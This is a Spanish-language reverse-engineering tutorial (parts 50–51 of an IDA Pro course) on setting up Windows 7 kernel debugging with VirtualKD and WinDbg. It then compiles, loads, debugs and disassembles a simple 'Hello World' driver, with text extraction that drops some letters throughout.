Ejecuto con permiso de administrador el vminstall.

Esa tlde yo probé varias veces y si no la quitaba en Windows 7 no me uncionaba, igual pueden hacer
un snapshot hacer la prueba y si no va volver al snapshot y volver a intentar.

Antes de darle a install copien el nombre y peguenlo en un notepad en la maquina principal, ahora le
saco la tlde esa y doy a install.
Ojo que si todo va bien va a quedar la maquina congelada al arrancar, pero eso es lo que debe pasar
sino, esta mal instalado esto, antes de darle YES arranquemos en la maquina principal la otra parte
del virtualkd ejecutando con permisos de administrador el vmmon64.exe, luego que arranque,
volvamos aquí y demosle YES.

Ahí me va a dar la opción de arrancar normal o de arrancar debuggeando que es la que esta resaltada,
si acepto y la maquina arranca normalmente no unciono, pero a veces no es necesario instalar todo
de nuevo, cuando arranca le doy restart nuevamente y elijo lo mismo a ver si queda colgada como
corresponde jeje.

Como la maquina me arranco normalmente sin restaurar nada


Intento ejecutar el reg ese y luego darle de nuevo al vminstall a ver si ahora va.

Al reiniciar arranca normalmente, en la maquina principal si en el vmmon64 no esta el YES debajo de


OS signifca que algo allo.

Bueno luego de algunos intentos y de reiniciar varias veces, creo que el truco es reiniciar del mismo
target internamente y no desde el menú de vmware, si unciona debería pasar esto.
El target congelado ahi al inicio

Allí debajo de OS debe decir YES y si esta puesta la tlde en START DEBUGGER AUTOMATICALLY
debería arrancar el WINDBG sino en DEBUGGER PATH deberían buscar el windbg.exe para que quede
confgurado el path correcto al mismo asi lo arranca, sino lo hizo automátcamente y el path esta bien
con RUN DEBUGGER lo hará, se conectara y quedara debuggeando el WINDBG a todo el sistema
target.
Tipeamos G y enter en el windbg y seguirá arrancando el sistema, una vez que me logueo en el target
y ya arranco completamente voy al windbg y apreto break del menú DEBUG o ctrl mas break.

Ahi veo ejecutando !process u1 0

kd> !process u1 0
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 466.
Image: System

Que estoy en el proceso system veamos la lista de procesos con !process 0 0

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 466.
Image: System

PROCESS 8502b3 8 SessionId: none Cid: 010c Peb: 7fdd000 ParentCid: 0004
DirBase: 3ec2d020 ObjectTable: 88c1 178 HandleCount: 29.
Image: smss.exe

PROCESS 85771d40 SessionId: 0 Cid: 016c Peb: 7fd 000 ParentCid: 0164
DirBase: 3ec2d060 ObjectTable: 96a4b590 HandleCount: 504.
Image: csrss.exe

PROCESS 856cd530 SessionId: 0 Cid: 0194 Peb: 7fd 000 ParentCid: 0164
DirBase: 3ec2d0a0 ObjectTable: 96a4d5e0 HandleCount: 75.
Image: wininit.exe

PROCESS 856 6530 SessionId: 1 Cid: 019c Peb: 7fdd000 ParentCid: 018c
DirBase: 3ec2d040 ObjectTable: 96a52b10 HandleCount: 179.
Image: csrss.exe

PROCESS 8573e530 SessionId: 1 Cid: 01d8 Peb: 7fd6000 ParentCid: 018c


DirBase: 3ec2d0c0 ObjectTable: 96b9c620 HandleCount: 108.
Image: winlogon.exe

PROCESS 859ad030 SessionId: 0 Cid: 0208 Peb: 7fd 000 ParentCid: 0194
DirBase: 3ec2d080 ObjectTable: 96a52ac8 HandleCount: 216.
Image: services.exe

PROCESS 84 d9b0 SessionId: 0 Cid: 0218 Peb: 7fdb000 ParentCid: 0194


DirBase: 3ec2d0e0 ObjectTable: 87cc3268 HandleCount: 556.
Image: lsass.exe

PROCESS 859c1030 SessionId: 0 Cid: 0220 Peb: 7fdc000 ParentCid: 0194


DirBase: 3ec2d100 ObjectTable: 96b610d8 HandleCount: 141.
Image: lsm.exe

PROCESS 85a42708 SessionId: 0 Cid: 0278 Peb: 7fdd000 ParentCid: 0208


DirBase: 3ec2d120 ObjectTable: 81 66 58 HandleCount: 352.
Image: svchost.exe

PROCESS 85a55030 SessionId: 0 Cid: 02b0 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d140 ObjectTable: 81 a 9d8 HandleCount: 53.
Image: vmacthlp.exe

PROCESS 85a69030 SessionId: 0 Cid: 02d8 Peb: 7fdd000 ParentCid: 0208


DirBase: 3ec2d160 ObjectTable: 81 699c8 HandleCount: 267.
Image: svchost.exe

PROCESS 8596e928 SessionId: 0 Cid: 0350 Peb: 7fd4000 ParentCid: 0208


DirBase: 3ec2d1a0 ObjectTable: 81 769d8 HandleCount: 412.
Image: svchost.exe

PROCESS 85abc030 SessionId: 0 Cid: 0378 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d1c0 ObjectTable: 8a6a1e98 HandleCount: 397.
Image: svchost.exe
PROCESS 85ac2030 SessionId: 0 Cid: 0394 Peb: 7fd9000 ParentCid: 0208
DirBase: 3ec2d1e0 ObjectTable: 8a6ab3b0 HandleCount: 1027.
Image: svchost.exe

PROCESS 85b234b8 SessionId: 0 Cid: 0434 Peb: 7fd6000 ParentCid: 0208


DirBase: 3ec2d200 ObjectTable: 8a6d6a08 HandleCount: 536.
Image: svchost.exe

PROCESS 85b5ec88 SessionId: 0 Cid: 0484 Peb: 7fda000 ParentCid: 0208


DirBase: 3ec2d220 ObjectTable: 8a73 70 HandleCount: 376.
Image: svchost.exe

PROCESS 85710148 SessionId: 0 Cid: 04 0 Peb: 7fd8000 ParentCid: 0208


DirBase: 3ec2d240 ObjectTable: 81 ac1b8 HandleCount: 335.
Image: spoolsv.exe

PROCESS 8571e030 SessionId: 0 Cid: 0514 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d260 ObjectTable: 91405ec8 HandleCount: 334.
Image: svchost.exe

PROCESS 85c02900 SessionId: 0 Cid: 05b0 Peb: 7fdd000 ParentCid: 0208


DirBase: 3ec2d280 ObjectTable: 93c 2628 HandleCount: 83.
Image: VGAuthService.exe

PROCESS 85c12bb8 SessionId: 0 Cid: 05dc Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d2a0 ObjectTable: 81e 5558 HandleCount: 291.
Image: vmtoolsd.exe

PROCESS 85c4d610 SessionId: 0 Cid: 06d0 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d2c0 ObjectTable: 9168ae58 HandleCount: 101.
Image: svchost.exe

PROCESS 85761d40 SessionId: 0 Cid: 076c Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d2e0 ObjectTable: 8a6a59 8 HandleCount: 192.
Image: dllhost.exe

PROCESS 85cc7c48 SessionId: 0 Cid: 0790 Peb: 7fd8000 ParentCid: 0278


DirBase: 3ec2d300 ObjectTable: 8a78a190 HandleCount: 191.
Image: WmiPrvSE.exe

PROCESS 85cdc658 SessionId: 0 Cid: 07d8 Peb: 7fd5000 ParentCid: 0208


DirBase: 3ec2d340 ObjectTable: 916705d8 HandleCount: 191.
Image: dllhost.exe

PROCESS 85d3 a30 SessionId: 0 Cid: 0190 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d320 ObjectTable: 9175c2c8 HandleCount: 152.
Image: msdtc.exe

PROCESS 85075cb0 SessionId: 0 Cid: 0528 Peb: 7fdc000 ParentCid: 0208


DirBase: 3ec2d360 ObjectTable: 916c0a70 HandleCount: 110.
Image: VSSVC.exe

PROCESS 84e9b030 SessionId: 0 Cid: 0784 Peb: 7fd4000 ParentCid: 0278


DirBase: 3ec2d380 ObjectTable: 917d4938 HandleCount: 318.
Image: WmiPrvSE.exe

PROCESS 8570d538 SessionId: 1 Cid: 0858 Peb: 7fdc000 ParentCid: 0208


DirBase: 3ec2d3e0 ObjectTable: 96b75ba0 HandleCount: 156.
Image: taskhost.exe

PROCESS 85e58030 SessionId: 0 Cid: 08 4 Peb: 7fdc000 ParentCid: 0208


DirBase: 3ec2d440 ObjectTable: 91d3ddd8 HandleCount: 166.
Image: sppsvc.exe

PROCESS 85a 2b08 SessionId: 1 Cid: 0974 Peb: 7fdc000 ParentCid: 0378
DirBase: 3ec2d180 ObjectTable: 9175b340 HandleCount: 68.
Image: dwm.exe

PROCESS 85e626 0 SessionId: 1 Cid: 0980 Peb: 7fdb000 ParentCid: 096c


DirBase: 3ec2d460 ObjectTable: 81e 1540 HandleCount: 600.
Image: explorer.exe

PROCESS 85ea28 8 SessionId: 1 Cid: 09e0 Peb: 7fd5000 ParentCid: 0980


DirBase: 3ec2d420 ObjectTable: 9482bc18 HandleCount: 33.
Image: jusched.exe

PROCESS 85ea9030 SessionId: 1 Cid: 09e8 Peb: 7fd5000 ParentCid: 0980


DirBase: 3ec2d400 ObjectTable: 94823c00 HandleCount: 225.
Image: vmtoolsd.exe

PROCESS 84061298 SessionId: 0 Cid: 0a88 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d4a0 ObjectTable: 91 99d78 HandleCount: 630.
Image: SearchIndexer.exe

PROCESS 840685a0 SessionId: 0 Cid: 0aec Peb: 7fd6000 ParentCid: 0a88


DirBase: 3ec2d480 ObjectTable: 91 65210 HandleCount: 312.
Image: SearchProtocolHost.exe

PROCESS 840758b8 SessionId: 0 Cid: 0b00 Peb: 7fd5000 ParentCid: 0a88


DirBase: 3ec2d4c0 ObjectTable: 949d8b40 HandleCount: 78.
Image: SearchFilterHost.exe

PROCESS 84ea7030 SessionId: 0 Cid: 0c14 Peb: 7fdb000 ParentCid: 0208


DirBase: 3ec2d3c0 ObjectTable: 954c8948 HandleCount: 312.
Image: svchost.exe

PROCESS 840d3d40 SessionId: 0 Cid: 0e00 Peb: 7fd 000 ParentCid: 0208
DirBase: 3ec2d3a0 ObjectTable: 94822518 HandleCount: 117.
Image: WmiApSrv.exe

Esa es la lista de procesos si quisiera switchear al contexto de otro proceso para poner breakpoints allí
haría.(por ejemplo switchear al explorer que tene en mi caso 85e626 0 justo al lado de la palabra
PROCESS)

kd> .process /i 85e626 0


You need to contnue executon (press 'g' <enter>) or the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

Apreto G y se switchea el contexto


kd> g
Break instructon excepton u code 80000003 (frst chance)
nt!RtlpBreakWithStatusInstructon:
82676394 cc

Veo en que proceso estoy ahora

kd> !process u1 0
PROCESS 85e626 0 SessionId: 1 Cid: 0980 Peb: 7fdb000 ParentCid: 096c
DirBase: 3ec2d460 ObjectTable: 81e 1540 HandleCount: 600.
Image: explorer.exe

Si no tenen ganas de perder tempo pueden saltear el relodeo de símbolos en este momento, ya que
solo es para practcar y tarda bastante, si quieren seguir adelante sigan en la pagina siguiente, donde
termina la zona punteada.

uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
Relodeo los símbolos con .reload /

Va a tardar un rato largo, algunos los podrá bajar porque están en el repositorio otros no tendrán
símbolos, pero la carpeta de símbolos se debería ir llenando.

Allí vemos al windbg BUSY y bajando símbolos (downloading) la primera vez que lo hagamos tardara
mucho porque no tene ningún símbolo, las subsiguientes no se hagan problema, tardara mas jejeje.

Si no les carga símbolos pueden usar !sym noisy antes de reload.

Run !sym noisy be ore .reload to track down problems loading symbols.
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu

Muchos dirán si es un curso de IDA porque no nos atacheamos directamente al inicio con IDA con el
plugin windbg, lo cual es per ectamente posible.

El tema es que a windbg lo uso para llegar hasta el punto mismo de donde quiero debuggear y recién
ahí me atacheo con IDA porque a veces IDA alla y se cuelga todo, por lo tanto es mejor usarlo cerca
del punto de interés a debuggear y dejarlo al WINDBG en la parte no importante que es mas robusto
en este tpo de debugging remoto de kernel, de cualquier orma en cualquier momento yo podría
breakear, cerrar el windbg y el sistema target quedarla congelado y luego atachear el IDA con el
plugin windbg y contnuar debuggeando con el sin problemas por eso, lo hare mas adelante.

Si hicieron reload con lm veran los modulos y sus simbolos

kd> lm
start end module name
00550000 007d0000 Explorer (pdb symbols)
c:\symbols\explorer.pdb\A289F16DBCB94B618103DE843592AB182\explorer.pdb
6bd50000 6bda2000 zip dr (pdb symbols)
c:\symbols\zip dr.pdb\0CFC61030167490C9ABF25C441E651D11\zip dr.pdb
6bdb0000 6bddb000 provsvc (pdb symbols)
c:\symbols\provsvc.pdb\222401C8EF0749BA9E532D6AA6666F601\provsvc.pdb
6bde0000 6be2 000 hgcpl (pdb symbols)
c:\symbols\hgcpl.pdb\4EA31C513A1C47F78EAAC3A5CD54D59A1\hgcpl.pdb
6be90000 6b 73000 FXSRESM (no symbols)
6b 80000 6b e4000 imapi2 (pdb symbols)
c:\symbols\imapi2.pdb\4F52351C2B514C3699D1B47D48BCFA322\imapi2.pdb
6bf0000 6c02a000 FXSAPI (pdb symbols)
c:\symbols\FXSAPI.pdb\C5C8AC671FA34D9EB1CDD55364F6E39E2\FXSAPI.pdb
6c030000 6c102000 xsst (pdb symbols)
c:\symbols\FXSST.pdb\DDFADEC7308347E9AD60E0617335C84D2\FXSST.pdb
6c110000 6c31e000 SyncCenter (pdb symbols)
c:\symbols\SyncCenter.pdb\23C05D457D6F4BA8AAB78F8293F398C92\SyncCenter.pdb
6c320000 6cd9c000 ie rame (pdb symbols)
c:\symbols\ie rame.pdb\BAAAEB87C2F8485C80589CCF7E3A82BE2\ie rame.pdb
6cda0000 6ce50000 bthprops (pdb symbols)
c:\symbols\bthprops.pdb\97B2FBEB35D64296B802DD2387D5E1CF1\bthprops.pdb
6ce50000 6ce98000 wwanapi (pdb symbols)
c:\symbols\wwanapi.pdb\9862E0172237487BBFEF6C1B3EBEE58A1\wwanapi.pdb
6c 70000 6d02a000 Actoncenter (pdb symbols)
c:\symbols\ActonCenter.pdb\98A49FC8D39C471996BEB3EF01EAA4831\ActonCenter.pdb
6d340000 6d4ee000 pnidui (pdb symbols)
c:\symbols\pnidui.pdb\50126007BD354C589514BA7F546EA17A2\pnidui.pdb
6d4 0000 6d755000 netshell (pdb symbols)
c:\symbols\netshell.pdb\083CF46E903F426AA06FF633605370E32\netshell.pdb
6d8c0000 6d8ee000 QAgent (pdb symbols)
c:\symbols\qagent.pdb\ABAFFF300B6A48789369D4A90AD2DC222\qagent.pdb
6da60000 6da76000 Wlanapi (pdb symbols)
c:\symbols\wlanapi.pdb\48EE3C9420F24448833370695E2AF4772\wlanapi.pdb
6d 90000 6d 9a000 wwapi (pdb symbols)
c:\symbols\wwapi.pdb\84C82A03729E48E0A883E55B56B7A0161\wwapi.pdb
6e1e0000 6e1eb000 CSCAPI (pdb symbols)
c:\symbols\cscapi.pdb\3D7C1EEDC26B43C6B4CFD2BBF8EE08CB2\cscapi.pdb
Ven que los que tenen símbolos los guardo en mi carpeta symbols, eso signifca que todo esta bien
confgurado sino a llorar a bill gates jeje.

Hare un driver simple de prueba tpo HOLA MUNDO en la maquina principal, el que no lo quiere
compilar estará compilado junto con el tute.

En una carpeta que no tenga espacios ni en el nombre ni en el path hago un archivo de texto y le
coloco dentro el código.

#include <ntddk.h>

void DriverUnload(
PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Driver unloading\n");
}

NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject,
PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload;
DbgPrint("Hello, World\n");
return STATUS_SUCCESS;
}

Lo renombro como HelloWorldDriver.c luego hago uno que se llame solo SOURCES con esto dentro

TARGETNAME = HelloWorldDriver
TARGETPATH = obj
TARGETTYPE = DRIVER

INCLUDES = %BUILD%\inc
LIBS = %BUILD%\lib

SOURCES = HelloWorldDriver.c

Y otro que se llame makefle.de con esto dentro

!INCLUDE $(NTMAKEENV)\makefle.def

Para compilarlo si instale el wdk 7.1 voy a la barra de programas instalados del inicio de windows en la
maquina principal.
Y arranco el x86 FREE BUILD ENVIRONMENT de Windows 7.

Allí cambio al path sin espacios donde están los 3 archivos.


Ejecuto el comando build

Allí se compilo
Para ver si unciona copio el sys a la maquina target (si esta detenido en el windbg apreto g y enter
para que siga corriendo) y en la misma arranco el OSRLOADER con permiso de administrador, la
versión de XP va bien en Windows 7.

Busco el driver, y lo abro.

Apreto REGISTER SERVICE


Luego START SERVICE y si no da un BSOD y sale el mismo cartel esta todo bien, para ver lo que
imprime tenemos que usar el DEBUG VIEW como administrador.
Y cuando arranco y paro el driver

Se ve cuando muestra la salida del driver que obviamente no puede hacerlo por consola.

En el WINDBG tambien se ve
Si apreto START SERVICE y lo dejo encendido y breakeo en el windbg.

kd> !process u1 0
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 475.
Image: System

Veo todos los procesos con !process 0 0 y dentro de la lista esta.

PROCESS 840dd830 SessionId: 1 Cid: 0b28 Peb: 7fd5000 ParentCid: 0980


DirBase: 3ec2d4c0 ObjectTable: 95585948 HandleCount: 253.
Image: OSRLOADER.exe

Switcheo el context al mismo con

kd> .process /i 840dd830


You need to contnue executon (press 'g' <enter>) or the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

Apreto g y enter

Ya switcheo

kd> g
Break instructon excepton u code 80000003 (frst chance)
nt!RtlpBreakWithStatusInstructon:
82676394 cc int 3
kd> !process u1 0
PROCESS 840dd830 SessionId: 1 Cid: 0b28 Peb: 7fd5000 ParentCid: 0980
DirBase: 3ec2d4c0 ObjectTable: 95585948 HandleCount: 253.
Image: OSRLOADER.exe

Vemos si hacemos lm que no tenemos simbolos de nuestro driver

91109000 9110 000 HelloWorldDriver (de erred)

Como tenemos el pdb podemos orzarlo a que cargue los símbolos jeje
Vemos que en la carpeta simbols hay una carpeta con el nombre y punto pdb

Agregamos una carpeta llamada HelloWorldDriver.pdb

El problema es que dentro de las otras carpetas hay una subcarpeta con un numero largo di erente en
cada caso, como obtenemos esoi jeje.
Una vez que ya creamos la carpeta HelloWorldDriver.pdb vamos al windbg y tpeamos.

!sym noisy

.reload / HelloWorldDriver.sys

Ahí nos dice el nombre de la carpeta que no encuentra, la creamos copiamos el pdb allí y luego

.reload / HelloWorldDriver.sys

Luego con lm ya quedara en mi caso la hallo en la misma carpeta TEST que lo compile

91109000 9110 000 HelloWorldDriver (private pdb symbols)


c:\users\ricnar\desktop\test\obj re_win7_x86\i386\HelloWorldDriver.pdb

La cueston es que los tene ahora podemos ver que simbolos tene con el comando x.

kd> x HelloWorldDriver!*
9110c004 HelloWorldDriver!__security_cookie_complement 1 0x6eefa5e
9110b000 HelloWorldDriver!KeTickCount 1 struct _KSYSTEM_TIME
9110c000 HelloWorldDriver!__security_cookie 1 0x911005a1
9110d03e HelloWorldDriver!GsDriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING
*)
9110a006 HelloWorldDriver!DriverUnload (struct _DRIVER_OBJECT *)
9110d005 HelloWorldDriver!__security_init_cookie (void)
9110a01a HelloWorldDriver!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
9110a058 HelloWorldDriver! ii ::FNODOBFM::`string' (<no parameter in o>)
9110a046 HelloWorldDriver! ii ::FNODOBFM::`string' (<no parameter in o>)
9110d050 HelloWorldDriver!_IMPORT_DESCRIPTOR_ntoskrnl 1 <no type in ormaton>
9110a040 HelloWorldDriver!DbgPrint (<no parameter in o>)
9110b004 HelloWorldDriver!_imp__DbgPrint 1 <no type in ormaton>
9110b008 HelloWorldDriver!ntoskrnl_NULL_THUNK_DATA 1 <no type in ormaton>
9110d064 HelloWorldDriver!_NULL_IMPORT_DESCRIPTOR 1 <no type in ormaton>

Allí están las direcciones y los símbolos si quisiéramos poner un breakpoint en el windbg conviene
estando en el contexto del proceso tpear.

bp /p @$proc HelloWorldDriver!DbgPrint

En vez de bp HelloWorldDriver!DriverUnload, quizás en este caso no es tan importante, pero si es un


breakpoint en una unción de sistema parara miles de veces cuando cada proceso la use, mientras
que usando el bp contextual solo para cuando la usa el proceso actual.

Veamos si unciona
kd> bp /p @$proc HelloWorldDriver!DbgPrint

Ahora corramos con g y enter y detengamos el driver como no para, pensamos que no es llamado por
el mismo proceso asi que vuelvo a switchear al contexto del mismo proceso y luego.

kd> ba e1 HelloWorldDriver!DbgPrint

kd> g
Breakpoint 2 hit
HelloWorldDriver!DbgPrint:
9111c040 f2504d01191 jmp dword ptr [HelloWorldDriver!_imp__DbgPrint (9111d004)v
kd> !process u1 0
PROCESS 83 c4a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01a88 HandleCount: 476.
Image: System

Ahí paro y veo que es el sistema que llama a imprimir, en ese caso cuando no se bien cual es el
proceso que llama se puede poner ba e1 o bp si es que no para muchas veces como en este caso.

Bueno ahora seguiremos con el IDA, para ello abrimos en el IDA 6.8 el HelloWorldDriver.sys y si esta el
pdb en la misma carpeta lo cargara sino cuando lo pide lo buscamos y que lo cargue.

En el IDA vamos a DEBUGGERuSWITCH DEBUGGER y elegimos el windbg.


Luego en DEBUGGERuDEBUGGER OPTIONSuSET SPECIFIC OPTIONS elegimos Kernel mode debugging.

Y despues en PROCESS OPTIONS.

En Connecton string armamos con el nombre la string de conexión.

com:port1\\.\pipe\kd_[0690v_Windows_Seven_Ultmate_u_i386_u_1,pipe

Sacamos el nombre del virtualkd.

Listo aceptamos.

Nos fjamos que el windbg este breakeado y si no lo breakeamos y lo cerramos

En IDA debuggerua ach to process


Debe salir KERNEL y aceptamos si no sale eso hicimos mal algunos de los pasos anteriores o la
maquina no se puede conectar por algún error.

Si el idb en IDA tene el mismo nombre o sea no lo cambiamos y sigue llamándose


HelloWorldDriver.idb deberia detectar que esta cargando un modulo similar, le ponemos que si que
es el mismo apretando SAME con lo cual rebaseara la in o que tenia y la acomodara a las nuevas
direcciones actuales.

Una vez que cargue estaremos debuggeando, por ahí abajo estará la barra de windbg donde
podríamos tpear comandos de Windbg.

Puedo poner breakpoints en el IDA también


Y acá lo que no unciona es dar run con el comando g de windbg, debo dar el RUN de IDA o F9.

Vemos que la imagen en el target vuelve a uncionar y se descongela, podemos arrancar y parar el
driver como antes, para que se detenga en el breakpoint.

Ahí vemos que unciona per ectamente.

En la otra maquina que tengo el Visual Studio 2015 con el wdk 10


Si lo compilo para que no de error, debería bajar el nivel de exigencia o modifcarlo asi.

También en driver se ngs cambiar que es para Windows 7


Y al compilar no da error

1>------ Rebuild All started: Project: KMDF Driver1, Configuration:


Release Win32 ------
1> Building 'KMDF Driver1' with toolset 'WindowsKernelModeDriver10.0'
and the 'Desktop' target platform.
1> Stamping Release\KMDFDriver1.inf [Version] section with
DriverVer=10/27/2017,12.49.58.404
1> Driver.c
1> KMDF Driver1.vcxproj -> c:\Users\rnarvaja\Documents\Visual Studio
2015\Projects\KMDF Driver1\Release\KMDFDriver1.sys
1> KMDF Driver1.vcxproj -> c:\Users\rnarvaja\Documents\Visual Studio
2015\Projects\KMDF Driver1\Release\KMDFDriver1.pdb (Full PDB)
1> Done Adding Additional Store
1> Successfully signed: c:\Users\rnarvaja\Documents\Visual Studio
2015\Projects\KMDF Driver1\Release\KMDFDriver1.sys
1>
1> .........................
1> Signability test complete.
1>
1> Errors:
1> None
1>
1> Warnings:
1> None
1>
1> Catalog generation complete.
1> c:\Users\rnarvaja\Documents\Visual Studio 2015\Projects\KMDF
Driver1\Release\KMDF Driver1\kmdfdriver1.cat
1> Done Adding Additional Store
1> Successfully signed: c:\Users\rnarvaja\Documents\Visual Studio
2015\Projects\KMDF Driver1\Release\KMDF Driver1\kmdfdriver1.cat
1>
========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ==========

Si quito el Breakpoint y corro desde el IDA para descongelar el target.


Copio el driver en el target

Lo busco lo registro y lo arranco y paro, en el debugview vemos los mensajes, aunque obviamente no
parara en IDA porque es otro driver, pero puedo ir a IDA suspender el proceso y ir a DEBUGGER
DETACH FROM PROCESS y podriamos volver a atachear el Windbg desde el RUN DEBUGGER del
vmmon o si no abrir el nuevo sys en ida con su pdb.

Vemos que es un poco mas complejo que el anterior.


Volvemos a confgurar IDA cambiando el debugger a windbg, poniéndolo en modo kernel y usando la
misma connecton string.

Al darle a start en el target me aparece el cartel

Le digo que es el mismo, apreto SAME.

Buscando entre las unciones veo el _DriverEntry y luego llama aquí.


Asi que le pongo un breakpoint y doy run, luego cargo y descargo el driver y me sale el cartel de si es
el mismo le digo que si.

Y para en el breakpoint como ante, con esta otra versión del driver.

Esto ue un inicio para poder ver y confgurar el sistema para debuggear kernel, posiblemente los
próximos tutes sean videotutes sobre el tema, veremos, si hace alta alguno mas teórico antes.

Hasta la siguiente parte.


Ricardo Narvaja
INTRODUCCION AL REVERSING CON IDA PRO
DESDE CERO PARTE 51 KERNEL.
Vamos antes de comenzar los VIDEOTUTES a compilar y reversear un poco los que hicimos en la parte
anterior y algún que otro driver mas, para ir familiarizándonos con la forma en que trabajan.

En el caso del sencillo driver de la parte 50, es un simple hola mundo muy fácil de reversear, ya vimos
que cuando lo compilamos con el viejo WDK 7.1 es un par de simples rutnas, y en el nuevo WDK 10
tene un par de funciones antes de inicializacinn pero llega a lo mismo, no hay una funcionalidad
diferente.
Aquí estamos en el que seria el punto de entrada al driver DriverEntry en el viejo driver hecho en
WDK 7.1.

Vemos por los asteriscos que los dos argumentos son dos punteros o sea de largo 4 bytes, uno a una
estructura _DRIVER_OBJECT y el otro a una estructura _UNICODE_STRING, veamos las mismas, ya que
IDA las detecta debe tener guardado como esta compuesta cada una.

EN MSDN.
En la pestaña estructuras no están, pero no olvidemos que en LOCAL TYPES a veces hay mas
estructuras, nos fjaremos también allí.
Bueno ahí esta, la importaremos haciendo clic derecho -SYNCRONIZE TO IDB.

Como carga la direccinn de la estructura en EAX, sabemos que en EAX+34h es algún campo de la
estructura, apretemos T a ver cual es.

De las estructuras que hay cargadas elijo _DRIVER_OBJECT y es el campo DriverUnload.


Traducido al castellano es una variable puntero en la estructura que guarda la direccinn de una
funcinn que el sistema llamara al descargar el driver, vemos allí arriba que el tpo de funcinn esta
defnido, su argumento es un puntero a _DRIVER_OBJECT y arriba de todo vemos la defnicinn de
PDRIVER_UNLOAD que obviamente es la direccinn ya que es un puntero a esa misma funcinn. (vemos
el asterisco en la defnicinn).

Asi que ese campo esta destnado para guardar la direccinn de la funcinn que el sistema llamara
cuando se descargue el driver.

En nuestro caso IDA nos muestra o set ya que es la direccinn de la funcinn _DriverUnload clickeando
en DEMANGLE NAMES - NAMES se ve mas lindo.

Asi que cuando arranca el driver viene por aquí, y imprime “Hello World” cada vez que arranca,
mediante la funcinn _DbgPrint y guarda la direccinn de la funcinn que ejecutara al descargarse el
driver.

Recordemos que la funcinn que creamos DriverUnload en nuestro cndigo se debe ajustar al tpo
defnido antes o sea su argumento debe ser un puntero a _DRIVER_OBJECT y asi es nuestro
argumento es del tpo PDRIVER_OBJECT como dicen las definiciones de la función
en el código fuente.
#include <ntddk.h>

void DriverUnload(
PDRIVER_OBJECT pDriverObject)
{
DbgPrint("Driver unloading\n");
}

Asi que todo coincide, esta sera la rutna cuando el driver se descargue y como vemos imprimirá el
mensaje “Driver unloading” usando la funcinn _DbgPrint.

Si esta siendo debuggeado se vera en el LOG del debugger como vimos en el Windbg y en el IDA el
mensaje de “Hola Mundo” y “Driver unloading” al cargar y descargar.

Esta versinn no tene mucho mas, veremos la otra que compilamos con WDK 10, asi la reverseamos
un poco, evitaremos parte de la inicializacinn y nos concentraremos en como maneja la estructura y el
puntero a DriverUnload.
Vemos que la funcinn _DriverEntry@8 tene los mismos argumentos que son los dos punteros a las
estructuras que vimos en la otra versinn.

Vemos que EDI toma la direccinn de la estructura DriverObject y la mantene en toda la funcinn hasta
la salida de la misma cuando hace POP EDI antes del RET.

Puedo hacer click derecho - RENAME en EDI y en el rango donde se mantene el mismo valor
renombrarlo a p_DriverObject.
Allí vemos que se mantene la etqueta hasta el fnal donde el POP EDI machaca el valor.
Bueno es una estructura que tene un USHORT (word) con el largo de la string ,otro con el máximo
largo del bu er y un puntero a un bu er con la string unicode allí o sea que siempre su largo sera 0x8,
dos words mas un dword del puntero.

Length
Specife the length in byte  of the tring pointed to by the Bufer member not including the
terminating NULL character

MaximumLength
Specife the total ize in byte of memory allocated for Bufer. Up to MaximumLength byte may
be written into the bu er without trampling memory.

Bufer
Pointer to a wide-character tring. Note that the tring returned by the variou LSA function might
not be null-terminated.

Vemos que esta funcinn tene como argumento un puntero a la estructura source UNICODE_STRING y
como destnaton un puntero a otro UNICODE_STRING que también tendrá un puntero a un bu er
destnaton.
Allí vemos los dos argumentos, el source que es RegistryPath que es un puntero a una estructura
UNICODE_STRING y ESI tene el destnaton del mismo tpo.

Vemos que ESI apunta a la seccinn data, allí esta esa variable del mismo tpo.

Como vimos que el largo era 0x8, en la seccinn data la siguiente direccinn que se muestra sera 0x8
mas adelante o sea

Python>hex(0x40367c+0x8)
0x403684

Allí vemos como antes de llamar a copiar inicializa la estructura de destno, le pone un cero al valor
lenght ya que esta vacía por ahora, le pone 0x208 como máximo y lo guarda en MaximumLenght y
guarda el puntero al bu er allí en o set WdfDriverStubRegistryPath.

El bu er en si tene 0x104 words o sea 0x208 o 520 decimal


hex(0x104*2)
0x208
Python>(0x104*2)
520

Allí mostraba que era un array de 260 del tpo wchar_t (2 bytes) o sea 260 x 2 es igual a 520.

Asi que esta todo bien el puntero apunta a un bu er de 0x208 y el máximo es 0x208 todo perfecto.

No olvidemos esto

Vemos que es una variable de 4bytes dd ya que es un puntero a la estructura _DRIVER_OBJECT.

Luego hay un par de funciones de inicializacinn no documentadas al menos no las encontré y no tene
tanta importancia es pura inicializacinn y luego llega al DriverEntry que es equivalente al del driver
anterior.
Dentro si hacemos lo mismo dela vez anterior y vamos a LOCAL TYPES y sincronizamos la estructura
DRIVER_OBJECT.

